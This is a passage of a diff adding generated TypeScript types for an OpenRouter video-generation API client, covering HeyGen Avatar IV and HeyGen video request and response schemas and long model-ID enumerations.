'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostVideosHeygenAvatarIvRequestModelEnumKey = + (typeof openrouterPostVideosHeygenAvatarIvRequestModelEnum)[keyof typeof openrouterPostVideosHeygenAvatarIvRequestModelEnum] + +export const openrouterPostVideosHeygenAvatarIvRequestResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type OpenrouterPostVideosHeygenAvatarIvRequestResolutionEnumKey = + (typeof openrouterPostVideosHeygenAvatarIvRequestResolutionEnum)[keyof typeof openrouterPostVideosHeygenAvatarIvRequestResolutionEnum] + +/** + * @description HeyGen: Avatar IV (heygen/avatar-iv) — model-constrained video generation request. HeyGen: Avatar IV is an image-to-video model that animates a single photo into an expressive, lip-synced talking-head video. Rather than only matching mouth shapes to words, it interprets the vocal... + * @example {"aspect_ratio":"16:9","duration":8,"model":"google/veo-3.1","prompt":"A serene mountain landscape at sunset","resolution":"720p"} + * @type object + */ +export type OpenrouterPostVideosHeygenAvatarIvBody = { + /** + * @description Aspect ratio of the generated video + * @example 16:9 + * @type string | undefined + */ + aspect_ratio?: OpenrouterPostVideosHeygenAvatarIvRequestAspectRatioEnumKey + /** + * @description URL to receive a webhook notification when the video generation job completes. Overrides the workspace-level default callback URL if set. Must be HTTPS. + * + * Format: `uri` + * @example https://example.com/webhook + * @type string | undefined + */ + callback_url?: string + /** + * @description Creativity level for video upscaling models only. This parameter is not supported by video generation models. + * @example 1 + * @type integer | undefined + */ + creativity?: number + /** + * @description Duration of the generated video in seconds + * @minimum 1 + * @example 8 + * @type integer | undefined + */ + duration?: number + /** + * @description Reference assets to guide video generation. Accepts image, audio, and video references. Audio and video references are only honored by providers that support them (including BytePlus Seedance generation 2 and newer); other providers use image references and ignore the rest. + * @type array | undefined + */ + input_references?: InputReference[] + /** + * @description Model id (fixed for this model-constrained schema) + * @type string + */ + model: OpenrouterPostVideosHeygenAvatarIvRequestModelEnumKey + /** + * @description ID of a completed video job to edit or extend, as returned by the submit response. The new job runs on the same model and endpoint that produced the previous one. Only models that support continuation accept this field. + * @pattern ^gen-vid-\d+-[0-9A-Za-z]{20}$ + * @example gen-vid-1789493115-a1B2c3D4e5F6g7H8i9J0 + * @type string | undefined + */ + previous_job_id?: string + /** + * @description Text prompt describing the video to generate. Optional for models that support generating a video from image input alone; required by all other models. + * @example A serene mountain landscape at sunset + * @type string | undefined + */ + prompt?: string + /** + * @description Provider routing preferences (order, only, ignore) and provider-specific passthrough configuration Passthrough parameters allowed for this model: voice_id, voice_settings, motion_prompt, expressiveness, fit, remove_background, background, caption, title. + * @type object | undefined + */ + provider?: { + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"google-vertex":{"output_config":{"effort":"low"}}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + } + /** + * @description Resolution of the generated video + * @example 720p + * @type string | undefined + */ + resolution?: OpenrouterPostVideosHeygenAvatarIvRequestResolutionEnumKey + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Exact pixel dimensions of the generated video in "WIDTHxHEIGHT" format (e.g. "1280x720"). Interchangeable with resolution + aspect_ratio. + * @example 1280x720 + * @type string | undefined + */ + size?: string + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description Upscale factor for video upscaling models only. This parameter is not supported by video generation models. + * + * Format: `double` + * @minimum 0 + * @example 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string +} + +export type OpenrouterPostVideosHeygenAvatarIvOptions = { + body: OpenrouterPostVideosHeygenAvatarIvBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostVideosHeygenAvatarIvResponses = { + '200': OpenrouterPostVideosHeygenAvatarIvStatus200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostVideosHeygenAvatarIvResponse = + OpenrouterPostVideosHeygenAvatarIvStatus200 + +export const openrouterPostVideosHeygenHeygenVideo1Status200StatusEnum = { + pending: 'pending', + in_progress: 'in_progress', + completed: 'completed', + failed: 'failed', + cancelled: 'cancelled', + expired: 'expired', +} as const + +export type OpenrouterPostVideosHeygenHeygenVideo1Status200StatusEnumKey = + (typeof openrouterPostVideosHeygenHeygenVideo1Status200StatusEnum)[keyof typeof openrouterPostVideosHeygenHeygenVideo1Status200StatusEnum] + +/** + * @example {"generation_id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","id":"gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","polling_url":"/api/v1/videos/gen-vid-1789480874-Ab3dEf9hIjKlMnOpQrSt","status":"pending"} + * @type object + */ +export type OpenrouterPostVideosHeygenHeygenVideo1Status200 = { + error?: string + /** + * @description Unix timestamp in seconds when OpenRouter's stored copy of the outputs stops being available. Present only when that copy exists. + * @type integer | undefined + */ + expires_at?: number + /** + * @description The generation ID associated with this video generation job. Available once the job has been processed. + * @type string | undefined + */ + generation_id?: string + /** + * @description The video job ID, in the `gen-vid--<20 alphanumerics>` generation ID format. Pass it as `previous_job_id` to continue the generation. + * @type string + */ + id: string + polling_url: string + status: OpenrouterPostVideosHeygenHeygenVideo1Status200StatusEnumKey + /** + * @description OpenRouter content URLs for each output. They need your API key in the `Authorization` header and keep working for as long as the output is available. + * @type array | undefined + */ + unsigned_urls?: string[] + /** + * @description Signed download URLs for OpenRouter's stored copy of each output, usable without an API key until `expires_at`. Anyone holding a URL can download that output until it expires, so treat it like a secret. Present only when the stored copy exists. + * @type array | undefined + */ + urls?: string[] + /** + * @description Usage and cost information for the video generation. Available once the job has completed. + * @example {"cost":0.5,"is_byok":false} + * @type object | undefined + */ + usage?: VideoGenerationUsage +} + +export const openrouterPostVideosHeygenHeygenVideo1RequestAspectRatioEnum = { + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type OpenrouterPostVideosHeygenHeygenVideo1RequestAspectRatioEnumKey = + (typeof openrouterPostVideosHeygenHeygenVideo1RequestAspectRatioEnum)[keyof typeof openrouterPostVideosHeygenHeygenVideo1RequestAspectRatioEnum] + +export const openrouterPostVideosHeygenHeygenVideo1RequestDurationEnum = { + '5': 5, + '6': 6, + '7': 7, + '8': 8, + '9': 9, + '10': 10, + '11': 11, + '12': 12, + '13': 13, + '14': 14, + '15': 15, + '16': 16, + '17': 17, + '18': 18, + '19': 19, + '20': 20, + '21': 21, + '22': 22, + '23': 23, + '24': 24, + '25': 25, + '26': 26, + '27': 27, + '28': 28, + '29': 29, + '30': 30, +} as const + +export type OpenrouterPostVideosHeygenHeygenVideo1RequestDurationEnumKey = + (typeof openrouterPostVideosHeygenHeygenVideo1RequestDurationEnum)[keyof typeof openrouterPostVideosHeygenHeygenVideo1RequestDurationEnum] + +export const openrouterPostVideosHeygenHeygenVideo1RequestModelEnum = { + 'aion-labs/aion-2.0': 'aion-labs/aion-2.0', + 'aion-labs/aion-3.0': 'aion-labs/aion-3.0', + 'aion-labs/aion-3.0-mini': 'aion-labs/aion-3.0-mini', + 'aion-labs/aion-3.5': 'aion-labs/aion-3.5', + 'aion-labs/aion-3.5-mini': 'aion-labs/aion-3.5-mini', + 'aion-labs/aion-rp-llama-3.1-8b': 'aion-labs/aion-rp-llama-3.1-8b', + 'amazon/nova-2-lite-v1': 'amazon/nova-2-lite-v1', + 'amazon/nova-lite-v1': 'amazon/nova-lite-v1', + 'amazon/nova-micro-v1': 'amazon/nova-micro-v1', + 'amazon/nova-premier-v1': 'amazon/nova-premier-v1', + 'amazon/nova-pro-v1': 'amazon/nova-pro-v1', + 'anthracite-org/magnum-v4-72b': 'anthracite-org/magnum-v4-72b', + 'anthropic/claude-fable-5': 'anthropic/claude-fable-5', + 'anthropic/claude-fable-5.1': 'anthropic/claude-fable-5.1', + 'anthropic/claude-fable-5.1:batch': 'anthropic/claude-fable-5.1:batch', + 'anthropic/claude-fable-5:batch': 'anthropic/claude-fable-5:batch', + '~anthropic/claude-fable-latest': '~anthropic/claude-fable-latest', + 'anthropic/claude-haiku-4.5': 'anthropic/claude-haiku-4.5', + 'anthropic/claude-haiku-4.5:batch': 'anthropic/claude-haiku-4.5:batch', + 'anthropic/claude-haiku-5.5': 'anthropic/claude-haiku-5.5', + 'anthropic/claude-haiku-5.5:batch': 'anthropic/claude-haiku-5.5:batch', + '~anthropic/claude-haiku-latest': '~anthropic/claude-haiku-latest', + 'anthropic/claude-opus-4.1': 'anthropic/claude-opus-4.1', + 'anthropic/claude-opus-4.1:batch': 'anthropic/claude-opus-4.1:batch', + 'anthropic/claude-opus-4.5': 'anthropic/claude-opus-4.5', + 'anthropic/claude-opus-4.5:batch': 'anthropic/claude-opus-4.5:batch', + 'anthropic/claude-opus-4.6': 'anthropic/claude-opus-4.6', + 'anthropic/claude-opus-4.6:batch': 'anthropic/claude-opus-4.6:batch', + 'anthropic/claude-opus-4.7': 'anthropic/claude-opus-4.7', + 'anthropic/claude-opus-4.7:batch': 'anthropic/claude-opus-4.7:batch', + 'anthropic/claude-opus-4.8': 'anthropic/claude-opus-4.8', + 'anthropic/claude-opus-4.8:batch': 'anthropic/claude-opus-4.8:batch', + 'anthropic/claude-opus-5': 'anthropic/claude-opus-5', + 'anthropic/claude-opus-5.5': 'anthropic/claude-opus-5.5', + 'anthropic/claude-opus-5.5:batch': 'anthropic/claude-opus-5.5:batch', + 'anthropic/claude-opus-5:batch': 'anthropic/claude-opus-5:batch', + '~anthropic/claude-opus-latest': '~anthropic/claude-opus-latest', + 'anthropic/claude-sonnet-4.5': 'anthropic/claude-sonnet-4.5', + 'anthropic/claude-sonnet-4.5:batch': 'anthropic/claude-sonnet-4.5:batch', + 'anthropic/claude-sonnet-4.6': 'anthropic/claude-sonnet-4.6', + 'anthropic/claude-sonnet-4.6:batch': 'anthropic/claude-sonnet-4.6:batch', + 'anthropic/claude-sonnet-5': 'anthropic/claude-sonnet-5', + 'anthropic/claude-sonnet-5.5': 'anthropic/claude-sonnet-5.5', + 'anthropic/claude-sonnet-5.5:batch': 'anthropic/claude-sonnet-5.5:batch', + 'anthropic/claude-sonnet-5:batch': 'anthropic/claude-sonnet-5:batch', + '~anthropic/claude-sonnet-latest': '~anthropic/claude-sonnet-latest', + 'bytedance-seed/seed-1.6': 'bytedance-seed/seed-1.6', + 'bytedance-seed/seed-1.6-flash': 'bytedance-seed/seed-1.6-flash', + 'bytedance-seed/seed-2.0-code': 'bytedance-seed/seed-2.0-code', + 'bytedance-seed/seed-2.0-lite': 'bytedance-seed/seed-2.0-lite', + 'bytedance-seed/seed-2.0-mini': 'bytedance-seed/seed-2.0-mini', + 'bytedance-seed/seed-2-1-turbo': 'bytedance-seed/seed-2-1-turbo', + 'bytedance/ui-tars-1.5-7b': 'bytedance/ui-tars-1.5-7b', + 'cognitivecomputations/dolphin-mistral-24b-venice-edition': + 'cognitivecomputations/dolphin-mistral-24b-venice-edition', + 'cohere/command-a': 'cohere/command-a', + 'cohere/command-a-plus': 'cohere/command-a-plus', + 'cohere/command-r-08-2024': 'cohere/command-r-08-2024', + 'cohere/command-r-plus-08-2024': 'cohere/command-r-plus-08-2024', + 'cohere/command-r7b-12-2024': 'cohere/command-r7b-12-2024', + 'cohere/north-mini-code:free': 'cohere/north-mini-code:free', + 'deepseek/deepseek-chat': 'deepseek/deepseek-chat', + 'deepseek/deepseek-chat-v3-0324': 'deepseek/deepseek-chat-v3-0324', + 'deepseek/deepseek-chat-v3.1': 'deepseek/deepseek-chat-v3.1', + '~deepseek/deepseek-flash-latest': '~deepseek/deepseek-flash-latest', + '~deepseek/deepseek-pro-latest': '~deepseek/deepseek-pro-latest', + 'deepseek/deepseek-r1-0528': 'deepseek/deepseek-r1-0528', + 'deepseek/deepseek-v3.1-terminus': 'deepseek/deepseek-v3.1-terminus', + 'deepseek/deepseek-v3.2': 'deepseek/deepseek-v3.2', + 'deepseek/deepseek-v3.2-exp': 'deepseek/deepseek-v3.2-exp', + 'deepseek/deepseek-v4.1-flash': 'deepseek/deepseek-v4.1-flash', + 'deepseek/deepseek-v4.1-flash-1017': 'deepseek/deepseek-v4.1-flash-1017', + 'deepseek/deepseek-v4.1-flash-1017:batch': + 'deepseek/deepseek-v4.1-flash-1017:batch', + 'deepseek/deepseek-v4.1-flash:batch': 'deepseek/deepseek-v4.1-flash:batch', + 'deepseek/deepseek-v4-flash': 'deepseek/deepseek-v4-flash', + 'deepseek/deepseek-v4-flash-0731': 'deepseek/deepseek-v4-flash-0731', + 'deepseek/deepseek-v4-flash-0731:batch': + 'deepseek/deepseek-v4-flash-0731:batch', + '~deepseek/deepseek-v4-flash-latest': '~deepseek/deepseek-v4-flash-latest', + 'deepseek/deepseek-v4-flash-vision-exp': + 'deepseek/deepseek-v4-flash-vision-exp', + 'deepseek/deepseek-v4-pro': 'deepseek/deepseek-v4-pro', + 'deepseek/deepseek-v4-pro-0813': 'deepseek/deepseek-v4-pro-0813', + 'dots-studio/dots-3-note-preview:free': + 'dots-studio/dots-3-note-preview:free', + 'elorian/glimpse': 'elorian/glimpse', + 'fireworks/ember-1': 'fireworks/ember-1', + 'google/gemini-2.5-flash': 'google/gemini-2.5-flash', + 'google/gemini-2.5-flash-image': 'google/gemini-2.5-flash-image', + 'google/gemini-2.5-flash-lite': 'google/gemini-2.5-flash-lite', + 'google/gemini-2.5-pro': 'google/gemini-2.5-pro', + 'google/gemini-2.5-pro-preview': 'google/gemini-2.5-pro-preview', + 'google/gemini-3.1-flash-image': 'google/gemini-3.1-flash-image', + 'google/gemini-3.1-flash-image-preview': + 'google/gemini-3.1-flash-image-preview', + 'google/gemini-3.1-flash-lite': 'google/gemini-3.1-flash-lite', + 'google/gemini-3.1-flash-lite:batch': 'google/gemini-3.1-flash-lite:batch', + 'google/gemini-3.1-flash-lite-image': 'google/gemini-3.1-flash-lite-image', + 'google/gemini-3.1-flash-lite-preview': + 'google/gemini-3.1-flash-lite-preview', + 'google/gemini-3.1-pro-preview': 'google/gemini-3.1-pro-preview', + 'google/gemini-3.1-pro-preview:batch': 'google/gemini-3.1-pro-preview:batch', + 'google/gemini-3.1-pro-preview-customtools': + 'google/gemini-3.1-pro-preview-customtools', + 'google/gemini-3.5-flash': 'google/gemini-3.5-flash', + 'google/gemini-3.5-flash:batch': 'google/gemini-3.5-flash:batch', + 'google/gemini-3.5-flash-lite': 'google/gemini-3.5-flash-lite', + 'google/gemini-3.5-flash-lite:batch': 'google/gemini-3.5-flash-lite:batch', + 'google/gemini-3.6-flash': 'google/gemini-3.6-flash', + 'google/gemini-3.6-flash:batch': 'google/gemini-3.6-flash:batch', + 'google/gemini-3.7-flash': 'google/gemini-3.7-flash', + 'google/gemini-3.7-flash:batch': 'google/gemini-3.7-flash:batch', + 'google/gemini-3.8-flash': 'google/gemini-3.8-flash', + 'google/gemini-3.8-flash:batch': 'google/gemini-3.8-flash:batch', + 'google/gemini-3-flash-preview': 'google/gemini-3-flash-preview', + 'google/gemini-3-flash-preview:batch': 'google/gemini-3-flash-preview:batch', + 'google/gemini-3-pro-image': 'google/gemini-3-pro-image', + 'google/gemini-3-pro-image-preview': 'google/gemini-3-pro-image-preview', + 'google/gemini-4-argon': 'google/gemini-4-argon', + 'google/gemini-4-argon:batch': 'google/gemini-4-argon:batch', + '~google/gemini-flash-latest': '~google/gemini-flash-latest', + 'google/gemini-nano-banana-2.1': 'google/gemini-nano-banana-2.1', + 'google/gemini-omni-1.1-flash': 'google/gemini-omni-1.1-flash', + 'google/gemini-omni-1.2-flash': 'google/gemini-omni-1.2-flash', + '~google/gemini-pro-latest': '~google/gemini-pro-latest', + 'google/gemma-2-27b-it': 'google/gemma-2-27b-it', + 'google/gemma-3-12b-it': 'google/gemma-3-12b-it', + 'google/gemma-3-27b-it': 'google/gemma-3-27b-it', + 'google/gemma-3-4b-it': 'google/gemma-3-4b-it', + 'google/gemma-4-26b-a4b-it': 'google/gemma-4-26b-a4b-it', + 'google/gemma-4-26b-a4b-it:free': 'google/gemma-4-26b-a4b-it:free', + 'google/gemma-4-31b-it': 'google/gemma-4-31b-it', + 'google/gemma-4-31b-it:free': 'google/gemma-4-31b-it:free', + 'google/lyria-3-clip-preview': 'google/lyria-3-clip-preview', + 'google/lyria-3-pro-preview': 'google/lyria-3-pro-preview', + 'gryphe/mythomax-l2-13b': 'gryphe/mythomax-l2-13b', + 'ibm-granite/granite-4.2-8b': 'ibm-granite/granite-4.2-8b', + 'inclusionai/ling-3.0-flash': 'inclusionai/ling-3.0-flash', + 'inclusionai/ling-3.0-flash-vl': 'inclusionai/ling-3.0-flash-vl', + 'inclusionai/ling-3.0-tiny': 'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 